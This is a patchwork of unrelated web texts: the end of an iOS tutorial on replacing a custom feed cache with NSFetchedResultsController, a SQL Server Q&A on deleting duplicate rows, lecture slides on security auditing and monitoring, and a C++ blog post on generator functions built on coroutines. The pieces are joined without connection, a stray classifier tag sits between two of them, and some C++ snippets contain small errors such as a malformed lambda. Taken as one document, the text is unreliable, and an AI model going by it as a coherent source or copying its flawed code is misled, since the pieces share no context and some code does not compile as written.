Now that we can fetch feeds incrementally, we need to give the table view data source an ability to add new feeds to its collection.
@protocol FeedListTableDataSource
<UITableViewDataSource, UITableViewDelegate>
- (void)setFeeds:(NSArray *)feeds;
- (void)addFeeds:(NSArray *)feeds;
@end
@implementation FeedListTableDefaultDataSource
// ...
- (void)addFeeds:(NSArray *)feeds {
[self setFeeds:[self.feeds arrayByAddingObjectsFromArray:feeds]];
}
@end
Finally, we need to insert new rows into the table view when we receive new feeds from a remote server.
@implementation FeedListViewController
//...
- (void)feedManager:(FeedManager *)manager
didReceiveFeeds:(NSArray *)feeds
{
NSLog(@"Feed manager did receive %ld feeds", (long)[feeds count]);
[self.dataSource addFeeds:feeds];
[self insertFeedsIntoTableView:feeds];
}
- (void)insertFeedsIntoTableView:(NSArray *)feeds {
if ([feeds count] > 0) {
NSMutableArray *newRows = [NSMutableArray array];
for (int i = 0; i < [feeds count]; i++) {
[newRows addObject:[NSIndexPath indexPathForRow:i
inSection:0]];
}
[self.feedTableView
insertRowsAtIndexPaths:newRows
withRowAnimation:UITableViewRowAnimationTop];
}
}
@end
With the addition of caching, our initial design has evolved a bit as shown in figure below.
basic_caching.png
Following diagram shows feed data flow from end-to-end with caching in place.
feed_display_workflow_with_caching.png
You can checkout the add_caching branch from FeedLoader repo to see all the caching related code.
Now that we have a basic caching mechanism in place, we can make it more robust by providing a way to specify how many feeds we want to fetch rather than returning everything in the database. We can also remove feeds that are not visible to the user from the table view data source. Currently, it holds onto each feed added to its collection which is quite inefficient because the collection could grow infinitely as we keep fetching new feeds. As you can see the to-do list for a robust cache keeps growing and growing as we add new performance related requirements.
This is where the fetched results controller provided by Apple comes very handy. In addition to solving all caching related problems we have encountered so far, the fetched results controller also provides following:
NSFetchedResultsController to the Rescue #
Rather than going down a rabbit hole of implementing our own caching solution, let’s give NSFetchedResultsController a try. First thing we need to do is expose the managed object context used by our Core Data stack via the data manager. The fetched results controller interacts with Core Data directly via the managed object context. Ideally, I would have liked not to leak this implementation detail related to database to our business logic but if we want to use the fetched results controller we have no other choice.
You can checkout the replace_caching_implementation_with_fetched_results_controller branch from FeedLoader repo if you would like to follow along with the code listed in this section.
@interface FeedDataManager : NSObject
// ...
@property (nonatomic, readonly) NSManagedObjectContext
*managedObjectContext;
@end
Now instead of manually adding the new list of feed returned by FeedManager to the data source, we can simply give it a fetched results controller.
@implementation FeedListViewController
- (void)viewDidLoad {
// ...
[self.dataSource
setFetchedResultsController:self.fetchedResultsController];
}
@end
We also need to modify the FeedListTableDataSource protocol to take the fetched results controller instead of manually setting the feed array.
@protocol FeedListTableDataSource
<UITableViewDataSource, UITableViewDelegate>
- (void)setFetchedResultsController:
(NSFetchedResultsController *)controller;
@end
When we create a fetched results controller, we need to give it a fetch request that contains details such as which entity to fetch and how many of them to fetch in a batch. We can also tell it to sort the result by certain attributes such as publishedDate. Here is the code that creates a fetched results controller:
- (NSFetchedResultsController *)fetchedResultsController {
if (_fetchedResultsController == nil) {
NSFetchRequest *fetchRequest =
[NSFetchRequest fetchRequestWithEntityName:@"Feed"];
NSSortDescriptor *sortByPublishedDate =
[[NSSortDescriptor alloc] initWithKey:@"publishedDate"
ascending:NO];
fetchRequest.sortDescriptors = @[sortByPublishedDate];
fetchRequest.fetchBatchSize = 10;
NSManagedObjectContext *context =
self.feedDataManager.managedObjectContext;
_fetchedResultsController =
[[NSFetchedResultsController alloc]
initWithFetchRequest:fetchRequest
managedObjectContext:context
sectionNameKeyPath:nil
cacheName:nil];
_fetchedResultsController.delegate = self;
}
return _fetchedResultsController;
}
Finally, we need to implement the delegate methods the fetched results controller will call when the managed objects in Core Data are created, updated or deleted.
- (void)controllerWillChangeContent:(NSFetchedResultsController *)controller {
[self.feedTableView beginUpdates];
}
- (void)controller:(NSFetchedResultsController *)controller
didChangeObject:(id)anObject
atIndexPath:(NSIndexPath *)indexPath
forChangeType:(NSFetchedResultsChangeType)type
newIndexPath:(NSIndexPath *)newIndexPath
{
UITableView *tableView = self.feedTableView;
switch(type) {
case NSFetchedResultsChangeInsert:
[tableView insertRowsAtIndexPaths:@[newIndexPath]
withRowAnimation:UITableViewRowAnimationFade];
break;
case NSFetchedResultsChangeDelete:
[tableView deleteRowsAtIndexPaths:@[indexPath]
withRowAnimation:UITableViewRowAnimationFade];
break;
case NSFetchedResultsChangeUpdate:
[tableView reloadRowsAtIndexPaths:@[indexPath]
withRowAnimation:UITableViewRowAnimationNone];
break;
case NSFetchedResultsChangeMove:
[tableView deleteRowsAtIndexPaths:@[indexPath]
withRowAnimation:UITableViewRowAnimationFade];
[tableView insertRowsAtIndexPaths:@[newIndexPath]
withRowAnimation:UITableViewRowAnimationFade];
break;
}
}
- (void)controller:(NSFetchedResultsController *)controller
didChangeSection:(id )sectionInfo
atIndex:(NSUInteger)sectionIndex
forChangeType:(NSFetchedResultsChangeType)type
{
switch(type) {
case NSFetchedResultsChangeInsert:
[self.feedTableView
insertSections:[NSIndexSet indexSetWithIndex:sectionIndex]
withRowAnimation:UITableViewRowAnimationFade];
break;
case NSFetchedResultsChangeDelete:
[self.feedTableView
deleteSections:[NSIndexSet indexSetWithIndex:sectionIndex]
withRowAnimation:UITableViewRowAnimationFade];
break;
default:
break;
}
}
- (void)controllerDidChangeContent:(NSFetchedResultsController *)controller {
[self.feedTableView endUpdates];
}
When the fetched results controller is about to start sending change notifications, it will call the controllerWillChangeContent delegate method. We need to prepare the feed table view for updates in that method by calling beginUpdates. If a Feed managed object is created, deleted or updated in database, we insert, delete or update a table view row respectively. When all current change notifications provided by the fetched results controller have been received, we need to tell the table view to process all pending updates by calling endUpdates in controllerDidChangeContent: delegate method.
Now we can remove all traces of FeedCache class and let the fetched results controller take over. Here is how the design looks after replacing our own caching implementation with the fetched results controller:
with_fetchedresultscontroller_design.png
The end-to-end feed data flow has also changed with introduction of the fetched results controller.
feed_display_workflow_with_nsfetchedresultscontroller.png
Conclusion #
You might be thinking that this blog post has been a giant waste of time and I agree with you. In the beginning I mentioned that you should always use a fetched results controller unless you have a good reason not to. I could have stopped there and moved on with our lives, but I went on and on to show you why it’s a good idea to do that. We started with a code base that didn’t have any caching mechanism in place. We implemented our own caching and then replaced it with a NSFetchedResultsController instance.
In one of the projects I worked on, I came very close to implementing functionalities already provided by NSFetchedResultsController. I thought I would share that experience with you so that you won’t waste time trying to reinvent the wheel like I did.
The full code for FeedLoader app is available on GitHub.
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You asked: How do I filter duplicate rows in SQL Server?
How do you delete duplicate rows in SQL Server?
To delete the duplicate rows from the table in SQL Server, you follow these steps:
1. Find duplicate rows using GROUP BY clause or ROW_NUMBER() function.
2. Use DELETE statement to remove the duplicate rows.
How do I eliminate the duplicate rows?
Remove duplicate values
1. Select the range of cells that has duplicate values you want to remove. Tip: Remove any outlines or subtotals from your data before trying to remove duplicates.
2. Click Data > Remove Duplicates, and then Under Columns, check or uncheck the columns where you want to remove the duplicates. …
3. Click OK.
How can we avoid duplicate records in SQL without distinct?
Below are alternate solutions :
1. Remove Duplicates Using Row_Number. WITH CTE (Col1, Col2, Col3, DuplicateCount) AS ( SELECT Col1, Col2, Col3, ROW_NUMBER() OVER(PARTITION BY Col1, Col2, Col3 ORDER BY Col1) AS DuplicateCount FROM MyTable ) SELECT * from CTE Where DuplicateCount = 1.
2. Remove Duplicates using group By.
How do I remove duplicate rows in select query?
The go to solution for removing duplicate rows from your result sets is to include the distinct keyword in your select statement. It tells the query engine to remove duplicates to produce a result set in which every row is unique. The group by clause can also be used to remove duplicates.
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How do I select duplicate rows in SQL?
To select duplicate values, you need to create groups of rows with the same values and then select the groups with counts greater than one. You can achieve that by using GROUP BY and a HAVING clause.
How do I remove duplicates from a query?
Remove duplicate rows
1. To open a query, locate one previously loaded from the Power Query Editor, select a cell in the data, and then select Query > Edit. For more information see Create, load, or edit a query in Excel.
2. Select a column by clicking the column header. …
3. Select Home > Remove Rows > Remove Duplicates.
How do you delete one record from duplicates in SQL?
So to delete the duplicate record with SQL Server we can use the SET ROWCOUNT command to limit the number of rows affected by a query. By setting it to 1 we can just delete one of these rows in the table. Note: the select commands are just used to show the data prior and after the delete occurs.
How prevent duplicate rows in SQL JOIN?
The keyword DISTINCT is used to eliminate duplicate rows from a query result: SELECT DISTINCT … FROM A JOIN B ON … However, you can sometimes (possibly even ‘often’, but not always) avoid the need for it if the tables are organized correctly and you are joining correctly.
What is difference between unique and distinct?
The main difference between unique and distinct is that UNIQUE is a constraint that is used on the input of data and ensures data integrity. While DISTINCT keyword is used when we want to query our results or in other words, output the data.
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What causes duplicate rows in SQL?
If you do not include DISTINCT in a SELECT clause, you might find duplicate rows in your result, because SQL returns the JOB column’s value for each row that satisfies the search condition. Null values are treated as duplicate rows for DISTINCT.
How do I find duplicate rows in SQL using Rowid?
Use the rowid pseudocolumn. DELETE FROM your_table WHERE rowid not in (SELECT MIN(rowid) FROM your_table GROUP BY column1, column2, column3); Where column1 , column2 , and column3 make up the identifying key for each record. You might list all your columns. | __label__pos | 1 |
Bài giảng Conducting Security Audits
Protocol Analyzer Also called a sniffer Captures each packet to decode and analyze its contents Can fully decode application-layer network protocols The different parts of the protocol can be analyzed for any suspicious behavior
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Conducting Security AuditsContentsDefine privilege auditsDescribe how usage audits can protect securityList the methodologies used for monitoring to detect security-related anomaliesDescribe the different monitoring toolsPrivilege AuditingA privilege can be considered a subject’s access level over an objectPrinciple of least privilegeUsers should be given only the minimal amount of privileges necessary to perform his or her job functionPrivilege auditingReviewing a subject’s privileges over an objectRequires knowledge of privilege management, how privileges are assigned, and how to audit these security settingsPrivilege ManagementThe process of assigning and revoking privileges to objectsThe roles of owners and custodians are generally well-establishedThe responsibility for privilege management can be either centralized or decentralizedCentralized and Decentralized StructuresIn a centralized structureOne unit is responsible for all aspects of assigning or revoking privilegesAll custodians are part of that unitPromotes uniform security policiesSlows response, frustrates usersA decentralized organizational structure for privilege managementDelegates the authority for assigning or revoking privileges more closely to the geographic location or end userRequires IT staff at each location to manage privilegesAssigning PrivilegesThe foundation for assigning privilegesThe existing access control model for the hardware or software being usedRecall that there are four major access control models:Mandatory Access Control (MAC)Discretionary Access Control (DAC)Role Based Access Control (RBAC)Rule Based Access Control (RBAC)Auditing System Security SettingsAuditing system security settings for user privileges involves:A regular review of user access and rightsUsing group policiesImplementing storage and retention policiesUser access and rights reviewIt is important to periodically review user access privileges and rightsMost organizations have a written policy that mandates regular reviewsAuditing System Security SettingsUser Access and Rights Review (continued)Reviewing user access rights for logging into the network can be performed on the network serverReviewing user permissions over objects can be viewed on the network serverUser Access and Rights Review (continued)Group PoliciesInstead of setting the same configuration baseline on each computer, a security template can be createdSecurity templateA method to configure a suite of baseline security settingsOn a Microsoft Windows computer, one method to deploy security templates is to use Group PoliciesA feature that provides centralized management and configuration of computers and remote users who are using Active Directory (AD)Group Policy Objects (GPOs)The individual elements or settings within group policies are known as Group Policy Objects (GPOs). GPOs are a defined collection of available settings that can be applied to user objects or AD computersSettings are manipulated using administrative template files that are included within the GPOStorage and Retention PoliciesHealth Insurance Portability and Accountability Act (HIPPA)Sarbanes-Oxley ActRequire organizations to store data for specified time periodsRequire data to be stored securelyHIPPA Sanction for Unlocked DumpstersInformation Lifecycle Management (ILM)A set of strategies for administering, maintaining, and managing computer storage systems in order to retain dataILM strategies are typically recorded in storage and retention policies Which outline the requirements for data storageData classificationAssigns a level of business importance, availability, sensitivity, security and regulation requirements to dataData CategoriesData CategoriesGrouping data into categories often requires the assistance of the users who save and retrieve the data on a regular basisThe next step is to assign the data to different levels or “tiers” of storage and accessibilityContentsDefine privilege auditsDescribe how usage audits can protect securityList the methodologies used for monitoring to detect security-related anomaliesDescribe the different monitoring toolsUsage AuditingAudits what objects a user has actually accessedInvolves an examination of which subjects are accessing specific objects and how frequentlySometimes access privileges can be very complexUsage auditing can help reveal incorrect permissionsInheritancePermissions given to a higher level “parent” will also be inherited by a lower level “child”Inheritance becomes more complicated with GPOsPrivilege InheritanceGPO InheritanceGPO inheritanceAllows administrators to set a base security policy that applies to all users in the Microsoft ADOther administrators can apply more specific policies at a lower levelThat apply only to subsets of users or computersGPOs that are inherited from parent containers are processed firstFollowed by the order that policies were linked to a container objectLog ManagementA log is a record of events that occurLogs are composed of log entriesEach entry contains information related to a specific event that has occurredLogs have been used primarily for troubleshooting problemsLog managementThe process for generating, transmitting, storing, analyzing, and disposing of computer security log dataApplication and Hardware LogsSecurity application logsAntivirus softwareRemote Access SoftwareAutomated patch update serviceSecurity hardware logsNetwork intrusion detection systems and host and network intrusion prevention systemsDomain Name System (DNS)Authentication serversProxy serversFirewallsAntivirus LogsDNS LogsFirewall LogsFirewall LogsTypes of items that should be examined in a firewall log include:IP addresses that are being rejected and droppedProbes to ports that have no application services running on themSource-routed packetsPackets from outside with false internal source addressesSuspicious outbound connectionsUnsuccessful loginsOperating System LogsSystem eventsSignificant actions performed by the operating systemShutting down the systemStarting a serviceSystem EventsSystem events that are commonly recorded include:Client requests and server responsesUsage informationLogs based on audit recordsThe second common type of security-related operating system logsAudit records that are commonly recorded include:Account activity, such as escalating privilegesOperational information, such as application startup and shutdownWindows 7 Event LogsLog Management BenefitsA routine review and analysis of logs helps identifySecurity incidentsPolicy violationsFraudulent activityOperational problems Logs can also help resolve problemsLog Management BenefitsLogs helpPerform auditing analysisThe organization’s internal investigationsIdentify operational trends and long-term problemsDemonstrate compliance with laws and regulatory requirementsChange ManagementA methodology for making changes and keeping track of those changesTwo major types of changes Any change in system architectureNew servers, routers, etc.Data classificationDocuments moving from Confidential to Standard, or Top Secret to SecretChange Management Team (CMT)Created to oversee changesAny proposed change must first be approved by the CMTThe team typically has: Representatives from all areas of IT (servers, network, enterprise server, etc.)Network securityUpper-level managementChange Management Team (CMT) DutiesReview proposed changesEnsure that the risk and impact of the planned change is clearly understoodRecommend approval, disapproval, deferral, or withdrawal of a requested changeCommunicate proposed and approved changes to co-workersContentsDefine privilege auditsDescribe how usage audits can protect securityList the methodologies used for monitoring to detect security-related anomaliesDescribe the different monitoring toolsAnomaly-based MonitoringDetecting abnormal traffic BaselineA reference set of data against which operational data is comparedWhenever there is a significant deviation from this baseline, an alarm is raisedAdvantageDetect the anomalies quicklyAnomaly-based MonitoringDisadvantagesFalse positivesAlarms that are raised when there is no actual abnormal behaviorNormal behavior can change easily and even quicklyAnomaly-based monitoring is subject to false positivesSignature-based MonitoringCompares activities against signaturesRequires access to an updated database of signaturesWeaknessesThe signature databases must be constantly updatedAs the number of signatures grows the behaviors must be compared against an increasingly large number of signatures New attacks will be missed, because there is no signature for themBehavior-based MonitoringAdaptive and proactive instead of reactiveUses the “normal” processes and actions as the standardContinuously analyzes the behavior of processes and programs on a systemAlerts the user if it detects any abnormal actionsAdvantageNot necessary to update signature files or compile a baseline of statistical behaviorBehavior-based MonitoringMonitoring ToolsPerformance baselines and monitorsPerformance baselineA reference set of data established to create the “norm” of performance for a system or systemsData is accumulated through the normal operations of the systems and networks through performance monitorsOperational data is compared with the baseline data to determine how closely the norm is being met and if any adjustments need to be madeSystem MonitorA low-level system programMonitors hidden activity on a deviceSome system monitors have a Web-based interfaceSystem monitors generally have a fully customizable notification systemThat lets the owner design the information that is collected and made availableProtocol AnalyzerAlso called a snifferCaptures each packet to decode and analyze its contentsCan fully decode application-layer network protocolsThe different parts of the protocol can be analyzed for any suspicious behavior
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Generator functions in C++
In the previous post we had a look at the proposal of introducing resumable functions into the C++ standard to support writing asynchronous code modeled on the C# async/await pattern.
We saw that it is already possible to experiment with the future resumable and await keywords in Visual Studio, by installing the latest November 2013 CTP. But the concept of resumable functions is not limited to asynchrony; in this post we’ll see how it can be expanded to support generator functions.
Generator functions and lazy evaluation
In several languages, like C# and Python, generator functions provide the ability of lazily producing the values in a sequence only when they are needed. In C# a generator (or iterator) is a method that contains at least one yield statement and that returns an IEnumerable<T>.
For example, the following C# code produces the sequence of Fibonacci numbers (1, 1, 2, 3, 5, 8, 13, 21, …):
IEnumerable<T> Fibonacci()
{
int a = 0;
int b = 1;
while (true) {
yield return b;
int tmp = a + b;
a = b;
b = tmp;
}
}
A generator acts in two phases. When it is called, it just sets up a resumable function, preparing for its execution, and returns some enumerator (in the case of C#, an IEnumerable<T>). But the actual execution is deferred to the moment when the values are actually enumerated and pulled from the sequence, for example with a foreach statement:
foreach (var num in Fibonacci())
{
Console.WriteLine("{0}", num);
}
Note that the returned sequence is potentially infinite; its enumeration could go on indefinitely (if we ignore the integer overflows).
Of course there is nothing particularly special about doing the same thing in C++. While STL collections are usually eagerly evaluated (all their values are produced upfront) it is not difficult to write a collection that provides iterators that calculate their current value on the spot, on the base of some state or heuristic.
What gives a particular expressive power to generators is the ability to pause the execution each time a new value is generated, yielding control back to the caller, and then to resume the execution exactly from the point where it had suspended. A generator is therefore a special form of coroutine, limited in the sense that it may only yield back to its caller.
The yield statement hides all the complexity inherent in the suspension and resumption of the function; the developer can express the logic of the sequence plainly, without having to setup callbacks or continuations.
From resumable functions to generators (and beyond)
It would be nice to bring the expressive power of generators to our good old C++, and naturally there is already some work going on for this. In this proposal Gustaffson et al. explain how generator functions could be supported by the language as an extension of resumable functions, making it possible to write code like:
sequence<int> fibonacci() resumable
{
int a = 0;
int b = 1;
while (true)
{
yield b;
int tmp = a + b;
a = b;
b = tmp;
}
}
Here, the proposal introduces two new concepts, the type sequence<T> and the yield keyword.
– sequence<T> is a (STL-like) collection that only supports iteration and only provides an input iterator.
– The yield statement suspends the execution of the function and returns one item from the sequence to the caller.
In C# terms, sequence<T> and its iterator are respectively the equivalent of an IEnumerable<T> and IEnumerator<T>. But while the C# generators are implemented with a state machine, in C++ the suspension and resumption would be implemented, as we’ll see, with stackful coroutines.
Once we had a lazy-evaluated sequence<T> we could write client code to pull a sequence of values, which would be generated one at the time, and only when requested:
sequence<int> fibs = fibonacci();
for (auto it = fibs.begin(); it != fibs.end(); ++it)
{
std::cout << *it << std::endl;
}
In C++11 we could also simplify the iteration with a range-based for loop:
sequence<int> fibs = fibonacci();
for (auto it : fibs)
{
std::cout << *it << std::endl;
}
More interestingly, we could define other resumable functions that manipulate the elements of a sequence, lazily producing another sequence. This example, taken from Gustaffson’s proposal, shows a lazy version of std::transform():
template<typename Iter>
sequence<int> lazy_tform(Iter beg, Iter end, std::function<int(int)> func) resumable
{
for (auto iter = beg; iter != end; ++iter)
{
yield func(*iter);
}
}
Moving further with this idea, we could pull another page out of the C# playbook and enrich the sequence class with a whole set of composable, deferred query operators, a la LINQ:
template <typename T>
class sequence
{
public:
template <typename Predicate> bool all(Predicate predicate);
[...]
static sequence<int> range(int from, int to);
template <typename TResult> sequence<TResult> select(std::function<TResult(T)> selector);
sequence<T> take(int count);
sequence<T> where(std::function<bool(T)> predicate);
};
Lazy sequences
Certainly, resumable generators would be a very interesting addition to the standard. But how would they work? We saw that the Visual Studio CTP comes with a first implementation of resumable functions built over the PPL task library, but in this case the CTP is of little help, since it does not support generator functions yet. Maybe they will be part of a future release… but why to wait? We can implement them ourselves! 🙂
In the rest of this post I’ll describe a possible simple implementation of C++ lazy generators.
Let’s begin with the lazy sequence<T> class. This is a STL-like collection which only needs to support input iterators, with a begin() and an end() method.
Every instance of this class must somehow be initialized with a functor that represents the generator function that will generate the values of the sequence. We’ll see later what can be a good prototype for it.
As we said, the evaluation of this function must be deferred to the moment when the values are retrieved, one by one, via the iterator. All the logic for executing, suspending and resuming the generator will actually be implemented by the iterator class, which therefore needs to have a reference to the same functor.
So, our first cut at the sequence class could be something like this:
template<typename T>
class sequence_iterator
{
// TO DO
};
template<typename T>
class sequence
{
public:
typedef typename sequence_iterator<T> iterator;
typedef ??? functor;
sequence(functor func) : _func(func) { }
iterator begin() {
return iterator(_func);
}
iterator end() {
return iterator();
}
private:
functor _func;
};
Step by step
The sequence<T> class should not do much more than create iterators. The interesting code is all in the sequence iterator, which is the object that has the ability to actually generate the values.
Let’s go back to our Fibonacci generator and write some code that iterates through it:
sequence<int> fibonacci() resumable
{
int a = 0;
int b = 1;
while (true)
{
yield b;
int tmp = a + b;
a = b;
b = tmp;
}
}
auto fibs = fibonacci();
for (auto it : fibs)
{
std::cout << *it << std::endl;
}
How should this code really work? Let’s follow its execution step by step.
1. First, we call the function fibonacci(), which returns an object of type sequence<int>. Note that at this point the execution of the function has not even started yet. We just need to return a sequence object somehow associated to the body of the generator, which will be executed later.
2. The returned sequence is copied into the variable fibs. We need to define what does it mean to copy a sequence: should we allow copy operations? Should we enforce move semantic?
3. Given the sequence fibs, we call the begin() method which returns an iterator “pointing ” to the first element of the sequence. The resumable function should start running the moment the iterator is created and execute until a first value is yielded (or until it completes, in case of empty sequences).
4. When the end() method is called, the sequence returns an iterator that represents the fact that the generator has completed and there are no more values to enumerate.
5. The operator == () should behave as expected, returning true if both iterators are at the same position of the same sequence, or both pointing at the end of the sequence.
6. The operator *() will return the value generated by the last yield statement (i.e., the current value of the sequence).
7. At each step of the iteration, when operator ++() is called, the execution of the generator function will be resumed, and will continue until either the next yield statement updates the current value or until the function returns.
Putting all together, we can begin to write some code for the sequence_iterator class:
template<typename T>
class sequence_iterator
{
public:
typedef ??? functor;
sequence_iterator(functor func) {
// initializes the iterator from the generator functors, executes the functors
// until it terminates or yields.
}
sequence_iterator() : _func(func) {
// must represent the end of the sequence
}
bool operator == (const sequence_iterator& rhs) {
// true if the iterators are at the same position.
}
bool operator != (const sequence_iterator& rhs) {
return !(*this==rhs);
}
const T& operator * () const {
return _currentVal;
}
sequence_iterator operator ++ () {
// resume execution
return *this;
}
private:
T _currentVal;
};
The behavior of the iterator is fairly straightforward, but there are a few interesting things to note. The first is that evidently a generator function does not do what it says: looking at the code of the fibonacci() function there is no statement that actually returns a sequence<T>; what the code does is simply to yield the sequence elements, one at the time.
So who creates the sequence<T> object? Clearly, the implementation of generators cannot be purely library-based. We can put in a library the code for the sequence<T> and for its iterators, we can also put in a library the platform-dependent code that manages the suspension and resumptions of generators. But it will be up to the compiler to generate the appropriate code that creates a sequence<T> object for a generator function. More on this later.
Also, we should note that there is no asynchrony or concurrency involved in this process. The function could resume in the same thread where it suspended.
Generators as coroutines
The next step is to implement the logic to seamlessly pause and resume a generator. A generator can be seen as an asymmetric coroutine, where the asymmetry lies in the fact that the control can be only yielded back to the caller, contrary to the case of symmetric coroutines that can yield control to any other coroutine at any time.
Unfortunately coroutines cannot be implemented in a platform-independent way. In Windows we can use Win32 Fibers (as I described in this very old post) while on POSIX, you can use the makecontext()/swapcontext() API. There is also a very nice Boost library that we could leverage for this purpose.
But let’s ignore the problems of portability, for the moment, and assume that we have a reliable way to implement coroutines. How should we use them in an iterator? We can encapsulate the non-portable code in a class __resumable_func that exposes this interface:
template <typename TRet>
class __resumable_func
{
typedef std::function<void(__resumable_func&)> TFunc;
public:
__resumable_func(TFunc func);
void yieldReturn(const TRet& value);
void yieldBreak();
void resume();
const TRet& getCurrent() const;
bool isEos() const;
}
The class is templatized on the type of the values produced by the generator and provides methods to yield one value (yieldReturn()), to retrieve the current value (i.e., the latest value yielded) and to resume the execution and move to the next value.
It should also provide methods to terminate the enumeration (yieldBreak()) and to tell if we have arrived at the end of the sequence (isEos()).
The function object passed to the constructor represents the generator function itself that we want to run. More precisely, it is the function that will be executed as a coroutine, and its prototype tells us that this function, in order to be able to suspend execution, needs a reference to the __resumable_func object that is running the coroutine itself.
In fact the compiler should transform the code of a generator into the (almost identical) code of a lambda that uses the __resumable_func object to yield control and emit a new value.
For example, going back again to our fibonacci() generator, we could expect the C++ compiler to transform the code we wrote:
sequence<int> fibonacci() resumable
{
int a = 0;
int b = 1;
while (true)
{
yield b;
int tmp = a + b;
a = b;
b = tmp;
}
}
into this lambda expression:
auto __fibonacci_func([](__resumable_func<int>& resFn) {
int a = 0;
int b = 1;
while (true)
{
resFn.yieldReturn(b);
int tmp = a + b;
a = b;
b = tmp;
}
});
where the yield statement has been transformed into a call to __resumable_func::yieldReturn().
Likewise, client code that invokes this function, like:
sequence<int> fibs = fibonacci();
should be transformed by the compiler into a call to the sequence constructor, passing this lambda as argument:
sequence<int> fibs(__fibonacci_func);
Sequence iterators
We can ignore the details of the implementation of __resumable_func<T> coroutines for the moment and, assuming that we have them working, we can now complete the implementation of the sequence_iterator class:
template <typename T>
class sequence_iterator
{
std::unique_ptr<__resumable_func<T>> _resumableFunc;
sequence_iterator() :
_resumableFunc(nullptr)
{
}
sequence_iterator(const std::function<void(__resumable_func<T>&)> func) :
_resumableFunc(new __resumable_func<T>(func))
{
}
sequence_iterator(const sequence_iterator& rhs) = delete;
sequence_iterator& operator = (const sequence_iterator& rhs) = delete;
sequence_iterator& operator = (sequence_iterator&& rhs) = delete;
public:
sequence_iterator(sequence_iterator&& rhs) :
_resumableFunc(std::move(rhs._resumableFunc))
{
}
sequence_iterator& operator++()
{
_ASSERT(_resumableFunc != nullptr);
_resumableFunc->resume();
return *this;
}
bool operator==(const sequence_iterator& _Right) const
{
if (_resumableFunc == _Right._resumableFunc) {
return true;
}
if (_resumableFunc == nullptr) {
return _Right._resumableFunc->isEos();
}
if (_Right._resumableFunc == nullptr) {
return _resumableFunc->isEos();
}
return (_resumableFunc->isEos() == _Right._resumableFunc->isEos());
}
bool operator!=(const sequence_iterator& _Right) const
{
return (!(*this == _Right));
}
const T& operator*() const
{
_ASSERT(_resumableFunc != nullptr);
return (_resumableFunc->getCurrent());
}
};
The logic here is very simple. Internally, a sequence_iterator contains a __resumable_func object, to run the generator as a coroutine. The default constructor creates an iterator that points at the end of the sequence. Another constructor accepts as argument the generator function that we want to run and starts executing it in a coroutine and the function will run until either it yields a value or terminates, giving the control back to the constructor. In this way we create an iterator that points at the beginning of the sequence.
If a value was yielded, we can call the dereference-operator to retrieve it from the __resumable_func object. If the function terminated, instead, the iterator will already point at the end of the sequence. The equality operator takes care of equating an iterator whose function has terminated to the end()-iterators created with the default constructor. Incrementing the iterator means resuming the execution of the coroutine, from the point it had suspended, giving it the opportunity to produce another value.
Note that, since the class owns the coroutine object, we disable copy constructors and assignment operators and only declare the move constructor, to pass the ownership of the coroutine.
Composable sequence operators
Almost there! We have completed our design, but there are still a few details to work out. The most interesting are related to the lifetime and copyability of sequence objects. What should happen with code like this?
sequence<int> fibs1 = fibonacci();
sequence<int> fibs2 = fibs1;
for (auto it1 : fibs1) {
for (auto it2 : fibs2) {
...
}
}
If we look at how we defined class sequence<T>, apparently there is no reason why we should prevent the copy of sequence objects. In fact, sequence<T> is an immutable class. Its only data member is the std::function object that wraps the functor we want to run.
However, even though we don’t modify this functor object, we do execute it. This object could have been constructed from a lambda expression that captured some variables, either by value or by reference. Since one of the captured variables could be a reference to the same sequence<T> object that created that iterator, we need to ensure that the sequence object will always outlive its functors, and allowing copy-semantics suddenly becomes complicated.
This brings us to LINQ and to the composability of sequences. Anyone who has worked with C# knows that what makes enumerable types truly powerful and elegant is the ability to apply chains of simple operators that transform the elements of a sequence into another sequence. LINQ to Objects is built on the concept of a data pipeline: we start with a data source which implements IEnumerable<T>, and we can compose together a number of query operators, defined as extension methods to the Enumerable class.
For example, this very, very useless query in C# generates the sequence of all square roots of odd integers between 0 and 10:
var result = Enumerable.Range(0, 10)
.Where(n => n%2 == 1)
.Select(n => Math.Sqrt(n));
Similarly, to make the C++ sequence<T> type really powerful we should make it composable and enrich it with a good range of LINQ-like operators to generate, filter, aggregate, group, sort and generally transform sequences.
These are just a few of the operators that we could define in the sequence<T> class:
template <typename T>
class sequence
{
public:
[...]
static sequence<int> range(int from, int to);
template <typename TResult> sequence<TResult> select(std::function<TResult(T)> selector);
sequence<T> where(std::function<bool(T)> predicate);
};
to finally be able to write the same (useless) query:
sequence<double> result = sequence<int>::range(0, 10)
.where([](int n) { return n => n%2 == 1; })
.select([](int n) { return sqrt(n); });
Let’s try to implement select(), as an experiment. It is conceptually identical to the lazy_tform() method we saw before, but now defined in the sequence class. A very naïve implementation could be as follows:
// Projects each element of a sequence into a new form. (NOT WORKING!)
template <typename TResult>
sequence<TResult> select(std::function<TResult(T)> selector)
{
auto func = [this, selector](__resumable_func<T>& rf) {
for (T t : *this)
{
auto val = selector(t);
rf.yieldReturn(val);
}
};
return sequence<TResult>(func);
}
It should be now clear how it works: first we create a generator functor, in this case with a lambda expression, and then we return a new sequence constructed on this functor. The point is that the lambda needs to capture the “parent” sequence object to be able to iterate through the values of its sequence.
Unfortunately this code is very brittle. What happens when we compose more operators, using the result of one as the input of the next one in the chain? When we write:
sequence<double> result = sequence<int>::range(0, 10)
.where([](int n) { return n => n%2 == 1; })
.select([](int n) { return sqrt(n); });
there are (at least) three temporary objects created here, of type sequence<T>, and their lifetime is tied to that of the expression, so they are deleted before the whole statement completes.
A chain of sequences
The situation is like in the figure: the functor of each sequence in the chain is a lambda that has captured a pointer to the previous sequence object. The problem is in the deferred execution: nothing really happens until we enumerate the resulting sequence through its iterator, but as soon as we do so each sequence starts pulling values from its predecessor, which has already been deleted.
Temporary objects and deferred execution really do not get along nicely at all. On one hand in order to compose sequences we have to deal with temporaries that can be captured in a closure and then deleted long before being used. On the other hand, the sequence iterators, and their underlying coroutines, should not be copied and can outlive the instance of the sequence that generated them.
We can enforce move semantics on the sequence<T> class, but then what do we capture in a generator like select() that acts on a sequence?
As often happens, a possible solution requires adding another level of indirection. We introduce a new class, sequence_impl<T>, which represents a particular application of a generator function closure:
template <typename T>
class sequence_impl
{
public:
typedef std::function<void(__resumable_func<T>&)> functor;
private:
const functor _func;
sequence_impl(const sequence_impl& rhs) = delete;
sequence_impl(sequence_impl&& rhs) = delete;
sequence_impl& operator = (const sequence_impl& rhs) = delete;
sequence_impl& operator = (sequence_impl&& rhs) = delete;
public:
sequence_impl(const functor func) : _func(std::move(func)) {}
sequence_iterator<T> begin() const
{
// return iterator for beginning of sequence
return iterator(_func);
}
